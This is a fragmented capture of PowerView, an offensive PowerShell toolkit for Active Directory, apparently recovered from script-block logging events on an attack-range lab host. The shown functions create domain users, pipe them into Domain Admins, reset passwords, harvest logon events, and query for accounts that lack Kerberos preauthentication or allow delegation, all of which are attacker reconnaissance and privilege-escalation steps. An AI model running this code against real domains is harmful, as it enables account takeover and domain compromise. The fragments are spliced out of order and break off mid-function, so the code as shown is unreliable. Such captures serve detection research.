New-DomainUser -SamAccountName harmj0y2 -Description 'This is harmj0y' -AccountPassword $UserPassword
Creates the 'harmj0y2' user with the specified description and password.
.EXAMPLE
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
$UserPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
$user = New-DomainUser -SamAccountName harmj0y2 -Description 'This is harmj0y' -AccountPassword $UserPassword -Credential $Cred
Creates the 'harmj0y2' user with the specified description and password, using the specified
alternate credentials.
.EXAMPLE
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
$UserPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
New-DomainUser -SamAccountName andy -AccountPassword $UserPassword -Credential $Cred | Add-DomainGroupMember 'Domain Admins' -Credential $Cred
Creates the 'andy' user with the specified description and password, using the specified
alternate credentials, and adds the user to 'domain admins' using Add-DomainGroupMember
and the alternate credentials.
.OUTPUTS
DirectoryServices.AccountManagement.UserPrincipal
.LINK
http://richardspowershellblog.wordpress.com/2008/05/25/system-directoryservices-accountmanagement/
#>
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseShouldProcessForStateChangingFunctions', '')]
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
[OutputType('DirectoryServices.AccountManagement.UserPrincipal')]
Param(
[Parameter(Mandatory = $True)]
[ValidateLength(0, 256)]
[String]
$SamAccountName,
[Parameter(Mandatory = $True)]
[ValidateNotNullOrEmpty()]
[Alias('Password')]
[Security.SecureString]
$AccountPassword,
[ValidateNotNullOrEmpty()]
[String]
$Name,
[ValidateNotNullOrEmpty()]
[String]
$DisplayName,
[ValidateNotNullOrEmpty()]
[String]
$Description,
[ValidateNotNullOrEmpty()]
[String]
$Domain,
[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty
)
$ContextArguments = @{
'Identity' = $SamAccountName
}
if ($PSBoundParameters['Domain']) { $ContextArguments['Domain'] = $Domain }
if ($PSBoundParameters['Credential']) { $ContextArguments['Credential'] = $Credential }
$Context = Get-PrincipalContext @ContextArguments
if ($Context) {
$User = New-Object -TypeName System.DirectoryServices.AccountManagement.UserPrincipal -ArgumentList ($Context.Context)
# set all the appropriate user parameters
$User.SamAccountName = $Context.Identity
$TempCred = New-Object System.Management.Automation.PSCredential('a', $AccountPassword)
$User.SetPassword($TempCred.GetNetworkCredential().Password)
$User.Enabled = $True
$User.PasswordNotRequired = $False
if ($PSBoundParameters['Name']) {
$User.Name = $Name
}
else {
$User.Name = $Context.Identity
}
if ($PSBoundParameters['DisplayName']) {
$User.DisplayName = $DisplayName
}
else {
$User.DisplayName = $Context.Identity
}
if ($PSBoundParameters['Description']) {
$User.Description = $Description
}
Write-Verbose "[New-DomainUser] Attempting to create user '$SamAccountName'"
try {
$Null = $User.Save()
Write-Verbose "[New-DomainUser] User '$SamAccountName' successfully created"
$User
}
catch {
Write-Warning "[New-DomainUser] Error creating user '$SamAccountName' : $_"
}
}
}
function Set-DomainUserPassword {
<#
.SYNOPSIS
Sets the password for a given user identity.
Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: Get-PrincipalContext
.DESCRIPTION
First binds to the specified domain context using Get-PrincipalContext.
The bound domain context is then used to search for the specified user -Identity,
which returns a DirectoryServices.AccountManagement.UserPrincipal object. The
SetPassword() function is then invoked on the user, setting the password to -AccountPassword.
.PARAMETER Identity
A user SamAccountName (e.g. User1), DistinguishedName (e.g. CN=user1,CN=Users,DC=testlab,DC=local),
SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1113), or GUID (e.g. 4c435dd7-dc58-4b14-9a5e-1fdb0e80d201)
specifying the user to reset the password for.
.PARAMETER AccountPassword
Specifies the password to reset the target user's to. Mandatory.
.PARAMETER Domain
Specifies the domain to use to search for the user identity, defaults to the current domain.
.PARAMETER Credential
A [Management.Automation.PSCredential] object of alternate credentials
for connection to the target domain.
.EXAMPLE
$UserPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
Set-DomainUserPassword -Identity andy -AccountPassword $UserPassword
Resets the password for 'andy' to the password specified.
.EXAMPLE
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
$UserPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
Set-DomainUserPassword -Identity andy -AccountPassword $UserPassword -Credential $Cred
Resets the password for 'andy' usering the alternate credentials specified.
.OUTPUTS
DirectoryServices.AccountManagement.UserPrincipal
.LINK
http://richardspowershellblog.wordpress.com/2008/05/25/system-directoryservices-accountmanagement/
#>
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseShouldProcessForStateChangingFunctions', '')]
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
[OutputType('DirectoryServices.AccountManagement.UserPrincipal')]
Param(
[Parameter(Position = 0, Mandatory = $True)]
[Alias('UserName', 'UserIdentity', 'User')]
[String]
$Identity,
[Parameter(Mandatory = $True)]
[ValidateNotNullOrEmpty()]
[Alias('Password')]
[Security.SecureString]
$AccountPassword,
[ValidateNotNullOrEmpty()]
[String]
$Domain,
[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty
)
$ContextArguments = @{ 'Identity' = $Identity }
if ($PSBoundParameters['Domain']) { $ContextArguments['Domain'] = $Domain }
if ($PSBoundParameters['Credential']) { $ContextArguments['Credential'] = $Credential }
$Context = Get-PrincipalContext @ContextArguments
if ($Context) {
$User = [System.DirectoryServices.AccountManagement.UserPrincipal]::FindByIdentity($Context.Context, $Identity)
if ($User) {
Write-Verbose "[Set-DomainUserPassword] Attempting to set the password for user '$Identity'"
try {
$TempCred = New-Object System.Management.Automation.PSCredential('a', $AccountPassword)
$User.SetPassword($TempCred.GetNetworkCredential().Password)
$Null = $User.Save()
Write-Verbose "[Set-DomainUserPassword] Password for user '$Identity' successfully reset"
}
catch {
Write-Warning "[Set-DomainUserPassword] Error setting password for user '$Identity' : $_"
}
}
else {
Write-Warning "[Set-DomainUserPassword] Unable to find user '$Identity'"
}
}
}
function Get-DomainUserEvent {
<#
.SYNOPSIS
Enumerate account logon events (ID 4624) and Logon with explicit credential
events (ID 4648) from the specified host (default of the localhost).
Author: Lee Christensen (@tifkin_), Justin Warner (@sixdub), Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: None
.DESCRIPTION
This function uses an XML path filter passed to Get-WinEvent to retrieve
security events with IDs of 4624 (logon events) or 4648 (explicit credential
logon events) from -StartTime (default of now-1 day) to -EndTime (default of now).
A maximum of -MaxEvents (default of 5000) are returned.
.PARAMETER ComputerName
Specifies the computer name to retrieve events from, default of localhost.
.PARAMETER StartTime
The [DateTime] object representing the start of when to collect events.
Default of [DateTime]::Now.AddDays(-1).
.PARAMETER EndTime
The [DateTime] object representing the end of when to collect events.
Default of [DateTime]::Now.
.PARAMETER MaxEvents
The maximum number of events to retrieve. Default of 5000.
.PARAMETER Credential
A [Management.Automation.PSCredential] object of alternate credentials
for connection to the target computer.
.EXAMPLE
Get-DomainUserEvent
Return logon events on the local machine.
.EXAMPLE
Get-DomainController | Get-DomainUserEvent -StartTime ([DateTime]::Now.AddDays(-3))
Return all logon events from the last 3 days from every domain controller in the current domain.
.EXAMPLE
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
Get-DomainUserEvent -ComputerName PRIMARY.testlab.local -Credential $Cred -MaxEvents 1000
Return a max of 1000 logon events from the specified machine using the specified alternate credentials.
.OUTPUTS
PowerView.LogonEvent
PowerView.ExplicitCredentialLogonEvent
.LINK
http://www.sixdub.net/2014/11/07/offensive-event-parsing-bringing-home-trophies/
#>
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
[OutputType('PowerView.LogonEvent')]
[OutputType('PowerView.ExplicitCredentialLogonEvent')]
[CmdletBinding()]
Param(
772cdd4b-a872-46c0-a0e0-ae5d86e232f7
4104132150x0112069Microsoft-Windows-PowerShell/Operationalwin-dc-tcontreras-attack-range-677.attackrange.local1462e current domain.
.PARAMETER LDAPFilter
Specifies an LDAP query string that is used to filter Active Directory objects.
.PARAMETER Properties
Specifies the properties of the output object to retrieve from the server.
.PARAMETER SearchBase
The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local"
Useful for OU queries.
.PARAMETER Server
Specifies an Active Directory server (domain controller) to bind to.
.PARAMETER SearchScope
Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree).
.PARAMETER ResultPageSize
Specifies the PageSize to set for the LDAP searcher object.
.PARAMETER ServerTimeLimit
Specifies the maximum amount of time the server spends searching. Default of 120 seconds.
.PARAMETER SecurityMasks
Specifies an option for examining security information of a directory object.
One of 'Dacl', 'Group', 'None', 'Owner', 'Sacl'.
.PARAMETER Tombstone
Switch. Specifies that the searcher should also return deleted/tombstoned objects.
.PARAMETER FindOne
Only return one result object.
.PARAMETER Credential
A [Management.Automation.PSCredential] object of alternate credentials
for connection to the target domain.
.PARAMETER Raw
Switch. Return raw results instead of translating the fields into a custom PSObject.
.EXAMPLE
Get-DomainUser -Domain testlab.local
Return all users for the testlab.local domain
.EXAMPLE
Get-DomainUser "S-1-5-21-890171859-3433809279-3366196753-1108","administrator"
Return the user with the given SID, as well as Administrator.
.EXAMPLE
'S-1-5-21-890171859-3433809279-3366196753-1114', 'CN=dfm,CN=Users,DC=testlab,DC=local','4c435dd7-dc58-4b14-9a5e-1fdb0e80d201','administrator' | Get-DomainUser -Properties samaccountname,lastlogoff
lastlogoff samaccountname
---------- --------------
12/31/1600 4:00:00 PM dfm.a
12/31/1600 4:00:00 PM dfm
12/31/1600 4:00:00 PM harmj0y
12/31/1600 4:00:00 PM Administrator
.EXAMPLE
Get-DomainUser -SearchBase "LDAP://OU=secret,DC=testlab,DC=local" -AdminCount -AllowDelegation
Search the specified OU for privileged user (AdminCount = 1) that allow delegation
.EXAMPLE
Get-DomainUser -LDAPFilter '(!primarygroupid=513)' -Properties samaccountname,lastlogon
Search for users with a primary group ID other than 513 ('domain users') and only return samaccountname and lastlogon
.EXAMPLE
Get-DomainUser -UACFilter DONT_REQ_PREAUTH,NOT_PASSWORD_EXPIRED
Find users who doesn't require Kerberos preauthentication and DON'T have an expired password.
.EXAMPLE
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
Get-DomainUser -Credential $Cred
.EXAMPLE
Get-Domain | Select-Object -Expand name
testlab.local
Get-DomainUser dev\user1 -Verbose -Properties distinguishedname
VERBOSE: [Get-DomainSearcher] search string: LDAP://PRIMARY.testlab.local/DC=testlab,DC=local
VERBOSE: [Get-DomainSearcher] search string: LDAP://PRIMARY.testlab.local/DC=dev,DC=testlab,DC=local
VERBOSE: [Get-DomainUser] filter string: (&(samAccountType=805306368)(|(samAccountName=user1)))
distinguishedname
-----------------
CN=user1,CN=Users,DC=dev,DC=testlab,DC=local
.INPUTS
String
.OUTPUTS
PowerView.User
Custom PSObject with translated user property fields.
PowerView.User.Raw
The raw DirectoryServices.SearchResult object, if -Raw is enabled.
#>
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseDeclaredVarsMoreThanAssignments', '')]
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
[OutputType('PowerView.User')]
[OutputType('PowerView.User.Raw')]
[CmdletBinding(DefaultParameterSetName = 'AllowDelegation')]
Param(
[Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
[Alias('DistinguishedName', 'SamAccountName', 'Name', 'MemberDistinguishedName', 'MemberName')]
[String[]]
$Identity,
[Switch]
$SPN,
[Switch]
$AdminCount,
[Parameter(ParameterSetName = 'AllowDelegation')]
[Switch]
$AllowDelegation,
[Parameter(ParameterSetName = 'DisallowDelegation')]
[Switch]
$DisallowDelegation,
[Switch]
$TrustedToAuth,
[Alias('KerberosPreauthNotRequired', 'NoPreauth')]
[Switch]
$PreauthNotRequired,
[ValidateNotNullOrEmpty()]
[String]
$Domain,
[ValidateNotNullOrEmpty()]
[Alias('Filter')]
[String]
$LDAPFilter,
[ValidateNotNullOrEmpty()]
[String[]]
$Properties,
[ValidateNotNullOrEmpty()]
[Alias('ADSPath')]
[String]
$SearchBase,
[ValidateNotNullOrEmpty()]
[Alias('DomainController')]
[String]
$Server,
[ValidateSet('Base', 'OneLevel', 'Subtree')]
[String]
$SearchScope = 'Subtree',
[ValidateRange(1, 10000)]
[Int]
$ResultPageSize = 200,
[ValidateRange(1, 10000)]
[Int]
$ServerTimeLimit,
[ValidateSet('Dacl', 'Group', 'None', 'Owner', 'Sacl')]
[String]
$SecurityMasks,
[Switch]
$Tombstone,
[Alias('ReturnOne')]
[Switch]
$FindOne,
[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty,
[Switch]
$Raw
)
DynamicParam {
$UACValueNames = [Enum]::GetNames($UACEnum)
# add in the negations
$UACValueNames = $UACValueNames | ForEach-Object {$_; "NOT_$_"}
# create new dynamic parameter
New-DynamicParameter -Name UACFilter -ValidateSet $UACValueNames -Type ([array])
}
BEGIN {
$SearcherArguments = @{}
if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain }
if ($PSBoundParameters['Properties']) { $SearcherArguments['Properties'] = $Properties }
if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase }
if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server }
if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope }
if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize }
if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }
if ($PSBoundParameters['SecurityMasks']) { $SearcherArguments['SecurityMasks'] = $SecurityMasks }
if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone }
if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential }
$UserSearcher = Get-DomainSearcher @SearcherArguments
}
PROCESS {
#bind dynamic parameter to a friendly variable
if ($PSBoundParameters -and ($PSBoundParameters.Count -ne 0)) {
New-DynamicParameter -CreateVariables -BoundParameters $PSBoundParameters
}
if ($UserSearcher) {
$IdentityFilter = ''
$Filter = ''
$Identity | Where-Object {$_} | ForEach-Object {
$IdentityInstance = $_.Replace('(', '\28').Replace(')', '\29')
if ($IdentityInstance -match '^S-1-') {
$IdentityFilter += "(objectsid=$IdentityInstance)"
}
elseif ($IdentityInstance -match '^CN=') {
$IdentityFilter += "(distinguishedname=$IdentityInstance)"
if ((-not $PSBoundParameters['Domain']) -and (-not $PSBoundParameters['SearchBase'])) {
# if a -Domain isn't explicitly set, extract the object domain out of the distinguishedname
# and rebuild the domain searcher
$IdentityDomain = $IdentityInstance.SubString($IdentityInstance.IndexOf('DC=')) -replace 'DC=','' -replace ',','.'
Write-Verbose "[Get-DomainUser] Extracted domain '$IdentityDomain' from '$IdentityInstance'"
$SearcherArguments['Domain'] = $IdentityDomain
$UserSearcher = Get-DomainSearcher @SearcherArguments
if (-not $UserSearcher) {
Write-Warning "[Get-DomainUser] Unable to retrieve domain searcher for '$IdentityDomain'"
}
}
}
elseif ($IdentityInstance -imatch '^[0-9A-F]{8}-([0-9A-F]{4}-){3}[0-9A-F]{12}$') {
$GuidByteString = (([Guid]$IdentityInstance).ToByteArray() | ForEach-Object { '\' + $_.ToString('X2') }) -join ''
$IdentityFilter += "(objectguid=$GuidByteString)"
}
elseif ($IdentityInstance.Contains('\')) {
$ConvertedIdentityInstance = $IdentityInstance.Replace('\28', '(').Replace('\29', ')') | Convert-ADName -OutputType Canonical
if ($ConvertedIdentityInstance) {
$UserDomain = $ConvertedIdentityInstance.SubString(0, $ConvertedIdentityInstance.IndexOf('/'))
$UserName = $IdentityInstance.Split('\')[1]
$IdentityFilter += "(samAccountName=$UserName)"
$SearcherArguments['Domain'] = $UserDomain
Write-Verbose "[Get-DomainUser] Extracted domain '$UserDomain' from '$IdentityInstance'"
$UserSearcher = Get-DomainSearcher @SearcherArguments
}
}
else {
$IdentityFilter += "(samAccountName=$IdentityInstance)"
}
}
if ($IdentityFilter -and ($IdentityFilter.Trim() -ne '') ) {
$Filter += "(|$IdentityFilter)"
}
if ($PSBoundParameters['SPN']) {
Write-Verbose '[Get-DomainUser] Searching for non-null service principal names'
$Filter += '(servicePrincipalName=*)'
}
if ($PSBoundParameters['AllowDelegation']) {
Write-Verbose '[Get-DomainUser] Searching for users who can be delegated'
# negation of "Accounts that are sensitive and not trusted for delegation"
$Filter += '(!(userAccountControl:1.2.840.113556.1.4.803:=1048574))'
}
if ($PSBoundParameters['DisallowDelegation']) {
Write-Verbose '[Get-DomainUser] Searching for users who are sensitive and not trusted for delegation'
$Filter += '(userAccountControl:1.2.840.113556.1.4.803:=1048574)'
}
if ($PSBoundParameters['AdminCount']) {
Write-Verbose '[Get-DomainUser] Searching for adminCount=1'
$Filter += '(admincount=1)'
}
if ($PSBoundParameters['TrustedToAuth']) {
Write-Verbose '[Get-DomainUser] Searching for users that are trusted to authenticate for other principals'
$Filter += '(msds-allowedtodelegateto=*)'
}
if ($PSBoundParameters['PreauthNotRequired']) {
Write-Verbose '[Get-DomainUser] Searching for user accounts that do not require kerberos preauthenticate'
$Filter += '(userAccountControl:1.2.840.113556.1.4.803:=4194304)'
}
if ($PSBoundParameters['LDAPFilter']) {
Write-Verbose "[Get-DomainUser] Using additional LDAP filter: $LDAPFilter"
$Filter += "$LDAPFilter"
}
# build the LDAP filter for the dynamic UAC filter value
$UACFilter | Where-Object {$_} | ForEach-Object {
if ($_ -match 'NOT_.*') {
$UACField = $_.Substring(4)
$UACValue = [Int]($UACEnum::$UACField)
$Filter += "(!(userAccountControl:1.2.840.113556.1.4.803:=$UACValue))"
}
else {
$UACValue = [Int]($UACEnum::$_)
$Filter += "(userAccountControl:1.2.840.113556.1.4.803:=$UACValue)"
}
}
$UserSearcher.filter = "(&(samAccountType=805306368)$Filter)"
Write-Verbose "[Get-DomainUser] filter st772cdd4b-a872-46c0-a0e0-ae5d86e232f7
4104132150x0112068Microsoft-Windows-PowerShell/Operationalwin-dc-tcontreras-attack-range-677.attackrange.local1362f ($PSBoundParameters['ClassName']) {
ForEach ($TargetClass in $ClassName) {
$ForestObject.Schema.FindClass($TargetClass)
}
}
else {
$ForestObject.Schema.FindAllClasses()
}
}
}
}
function Find-DomainObjectPropertyOutlier {
<#
.SYNOPSIS
Finds user/group/computer objects in AD that have 'outlier' properties set.
Author: Will Schroeder (@harmj0y), Matthew Graeber (@mattifestation)
License: BSD 3-Clause
Required Dependencies: Get-Domain, Get-DomainUser, Get-DomainGroup, Get-DomainComputer
.DESCRIPTION
A 'reference' set of property names is calculated, either from a standard set preserved
for user/group/computers, or from the array of names passed to -ReferencePropertySet, or
from the property names of the passed -ReferenceObject. Every user/group/computer object
(depending on determined class) are enumerated, and for each object, if the object has a
'non-standard' property set (meaning a property not held by the reference set), the object's
samAccountName, property name, and property value are output to the pipeline.
.PARAMETER ClassName
Specifies the AD object class to find property outliers for, 'user', 'group', or 'computer'.
If -ReferenceObject is specified, this will be automatically extracted, if possible.
.PARAMETER ReferencePropertySet
Specifies an array of property names to diff against the class schema.
.PARAMETER ReferenceObject
Specicifes the PowerView user/group/computer object to extract property names
from to use as the reference set.
.PARAMETER Domain
Specifies the domain to use for the query, defaults to the current domain.
.PARAMETER LDAPFilter
Specifies an LDAP query string that is used to filter Active Directory objects.
.PARAMETER SearchBase
The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local"
Useful for OU queries.
.PARAMETER Server
Specifies an Active Directory server (domain controller) to bind to.
.PARAMETER SearchScope
Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree).
.PARAMETER ResultPageSize
Specifies the PageSize to set for the LDAP searcher object.
.PARAMETER ServerTimeLimit
Specifies the maximum amount of time the server spends searching. Default of 120 seconds.
.PARAMETER Tombstone
Switch. Specifies that the searcher should also return deleted/tombstoned objects.
.PARAMETER Credential
A [Management.Automation.PSCredential] object of alternate credentials
for connection to the target domain.
.EXAMPLE
Find-DomainObjectPropertyOutlier -ClassName 'User'
Enumerates users in the current domain with 'outlier' properties filled in.
.EXAMPLE
Find-DomainObjectPropertyOutlier -ClassName 'Group' -Domain external.local
Enumerates groups in the external.local forest/domain with 'outlier' properties filled in.
.EXAMPLE
Get-DomainComputer -FindOne | Find-DomainObjectPropertyOutlier
Enumerates computers in the current domain with 'outlier' properties filled in.
.OUTPUTS
PowerView.PropertyOutlier
Custom PSObject with translated object property outliers.
#>
[Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
[OutputType('PowerView.PropertyOutlier')]
[CmdletBinding(DefaultParameterSetName = 'ClassName')]
Param(
[Parameter(Position = 0, Mandatory = $True, ParameterSetName = 'ClassName')]
[Alias('Class')]
[ValidateSet('User', 'Group', 'Computer')]
[String]
$ClassName,
[ValidateNotNullOrEmpty()]
[String[]]
$ReferencePropertySet,
[Parameter(ValueFromPipeline = $True, Mandatory = $True, ParameterSetName = 'ReferenceObject')]
[PSCustomObject]
$ReferenceObject,
[ValidateNotNullOrEmpty()]
[String]
$Domain,
[ValidateNotNullOrEmpty()]
[Alias('Filter')]
[String]
$LDAPFilter,
[ValidateNotNullOrEmpty()]
[Alias('ADSPath')]
[String]
$SearchBase,
[ValidateNotNullOrEmpty()]
[Alias('DomainController')]
[String]
$Server,
[ValidateSet('Base', 'OneLevel', 'Subtree')]
[String]
$SearchScope = 'Subtree',
[ValidateRange(1, 10000)]
[Int]
$ResultPageSize = 200,
[ValidateRange(1, 10000)]
[Int]
$ServerTimeLimit,
[Switch]
$Tombstone,
[Management.Automation.PSCredential]
[Management.Automation.CredentialAttribute()]
$Credential = [Management.Automation.PSCredential]::Empty
)
BEGIN {
$UserReferencePropertySet = @('admincount','accountexpires','badpasswordtime','badpwdcount','cn','codepage','countrycode','description', 'displayname','distinguishedname','dscorepropagationdata','givenname','instancetype','iscriticalsystemobject','lastlogoff','lastlogon','lastlogontimestamp','lockouttime','logoncount','memberof','msds-supportedencryptiontypes','name','objectcategory','objectclass','objectguid','objectsid','primarygroupid','pwdlastset','samaccountname','samaccounttype','sn','useraccountcontrol','userprincipalname','usnchanged','usncreated','whenchanged','whencreated')
$GroupReferencePropertySet = @('admincount','cn','description','distinguishedname','dscorepropagationdata','grouptype','instancetype','iscriticalsystemobject','member','memberof','name','objectcategory','objectclass','objectguid','objectsid','samaccountname','samaccounttype','systemflags','usnchanged','usncreated','whenchanged','whencreated')
$ComputerReferencePropertySet = @('accountexpires','badpasswordtime','badpwdcount','cn','codepage','countrycode','distinguishedname','dnshostname','dscorepropagationdata','instancetype','iscriticalsystemobject','lastlogoff','lastlogon','lastlogontimestamp','localpolicyflags','logoncount','msds-supportedencryptiontypes','name','objectcategory','objectclass','objectguid','objectsid','operatingsystem','operatingsystemservicepack','operatingsystemversion','primarygroupid','pwdlastset','samaccountname','samaccounttype','serviceprincipalname','useraccountcontrol','usnchanged','usncreated','whenchanged','whencreated')
$SearcherArguments = @{}
if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain }
if ($PSBoundParameters['LDAPFilter']) { $SearcherArguments['LDAPFilter'] = $LDAPFilter }
if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase }
if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server }
if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope }
if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize }
if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }
if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone }
if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential }
# Domain / Credential
if ($PSBoundParameters['Domain']) {
if ($PSBoundParameters['Credential']) {
$TargetForest = Get-Domain -Domain $Domain | Select-Object -ExpandProperty Forest | Select-Object -ExpandProperty Name
}
else {
$TargetForest = Get-Domain -Domain $Domain -Credential $Credential | Select-Object -ExpandProperty Forest | Select-Object -ExpandProperty Name
}
Write-Verbose "[Find-DomainObjectPropertyOutlier] Enumerated forest '$TargetForest' for target domain '$Domain'"
}
$SchemaArguments = @{}
if ($PSBoundParameters['Credential']) { $SchemaArguments['Credential'] = $Credential }
if ($TargetForest) {
$SchemaArguments['Forest'] = $TargetForest
}
}
PROCESS {
if ($PSBoundParameters['ReferencePropertySet']) {
Write-Verbose "[Find-DomainObjectPropertyOutlier] Using specified -ReferencePropertySet"
$ReferenceObjectProperties = $ReferencePropertySet
}
elseif ($PSBoundParameters['ReferenceObject']) {
Write-Verbose "[Find-DomainObjectPropertyOutlier] Extracting property names from -ReferenceObject to use as the reference property set"
$ReferenceObjectProperties = Get-Member -InputObject $ReferenceObject -MemberType NoteProperty | Select-Object -Expand Name
$ReferenceObjectClass = $ReferenceObject.objectclass | Select-Object -Last 1
Write-Verbose "[Find-DomainObjectPropertyOutlier] Calculated ReferenceObjectClass : $ReferenceObjectClass"
}
else {
Write-Verbose "[Find-DomainObjectPropertyOutlier] Using the default reference property set for the object class '$ClassName'"
}
if (($ClassName -eq 'User') -or ($ReferenceObjectClass -eq 'User')) {
$Objects = Get-DomainUser @SearcherArguments
if (-not $ReferenceObjectProperties) {
$ReferenceObjectProperties = $UserReferencePropertySet
}
}
elseif (($ClassName -eq 'Group') -or ($ReferenceObjectClass -eq 'Group')) {
$Objects = Get-DomainGroup @SearcherArguments
if (-not $ReferenceObjectProperties) {
$ReferenceObjectProperties = $GroupReferencePropertySet
}
}
elseif (($ClassName -eq 'Computer') -or ($ReferenceObjectClass -eq 'Computer')) {
$Objects = Get-DomainComputer @SearcherArguments
if (-not $ReferenceObjectProperties) {
$ReferenceObjectProperties = $ComputerReferencePropertySet
}
}
else {
throw "[Find-DomainObjectPropertyOutlier] Invalid class: $ClassName"
}
ForEach ($Object in $Objects) {
$ObjectProperties = Get-Member -InputObject $Object -MemberType NoteProperty | Select-Object -Expand Name
ForEach($ObjectProperty in $ObjectProperties) {
if ($ReferenceObjectProperties -NotContains $ObjectProperty) {
$Out = New-Object PSObject
$Out | Add-Member Noteproperty 'SamAccountName' $Object.SamAccountName
$Out | Add-Member Noteproperty 'Property' $ObjectProperty
$Out | Add-Member Noteproperty 'Value' $Object.$ObjectProperty
$Out.PSObject.TypeNames.Insert(0, 'PowerView.PropertyOutlier')
$Out
}
}
}
}
}
########################################################
#
# "net *" replacements and other fun start below
#
########################################################
function Get-DomainUser {
<#
.SYNOPSIS
Return all users or specific user objects in AD.
Author: Will Schroeder (@harmj0y)
License: BSD 3-Clause
Required Dependencies: Get-DomainSearcher, Convert-ADName, Convert-LDAPProperty
.DESCRIPTION
Builds a directory searcher object using Get-DomainSearcher, builds a custom
LDAP filter based on targeting/filter parameters, and searches for all objects
matching the criteria. To only return specific properties, use
"-Properties samaccountname,usnchanged,...". By default, all user objects for
the current domain are returned.
.PARAMETER Identity
A SamAccountName (e.g. harmj0y), DistinguishedName (e.g. CN=harmj0y,CN=Users,DC=testlab,DC=local),
SID (e.g. S-1-5-21-890171859-3433809279-3366196753-1108), or GUID (e.g. 4c435dd7-dc58-4b14-9a5e-1fdb0e80d201).
Wildcards accepted. Also accepts DOMAIN\user format.
.PARAMETER SPN
Switch. Only return user objects with non-null service principal names.
.PARAMETER UACFilter
Dynamic parameter that accepts one or more values from $UACEnum, including
"NOT_X" negation forms. To see all possible values, run '0|ConvertFrom-UACValue -ShowAll'.
.PARAMETER AdminCount
Switch. Return users with '(adminCount=1)' (meaning are/were privileged).
.PARAMETER AllowDelegation
Switch. Return user accounts that are not marked as 'sensitive and not allowed for delegation'
.PARAMETER DisallowDelegation
Switch. Return user accounts that are marked as 'sensitive and not allowed for delegation'
.PARAMETER TrustedToAuth
Switch. Return computer objects that are trusted to authenticate for other principals.
.PARAMETER PreauthNotRequired
Switch. Return user accounts with "Do not require Kerberos preauthentication" set.
.PARAMETER Domain
Specifies the domain to use for the query, defaults to th772cdd4b-a872-46c0-a0e0-ae5d86e232f7
4104132150x0112067Microsoft-Windows-PowerShell/Operationalwin-dc-tcontreras-attack-range-677.attackrange.local1262 to bind to.
.PARAMETER LDAP
Switch. Use LDAP queries to determine the domain controllers instead of built in .NET methods.
.PARAMETER Credential
A [Management.Automation.PSCredential] object of alternate credentials
for connection to the target domain.
.EXAMPLE
Get-DomainController -Domain 'test.local'
Determine the domain controllers for 'test.local'.
.EXAMPLE
Get-DomainController -Domain 'test.local' -LDAP
Determine the domain controllers for 'test.local' using LDAP queries.
.EXAMPLE
'test.local' | Get-DomainController
Determine the domain controllers for 'test.local'.
.EXAMPLE
$SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
$Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
Get-DomainController -Credential $Cred
.OUTPUTS
PowerView.Computer
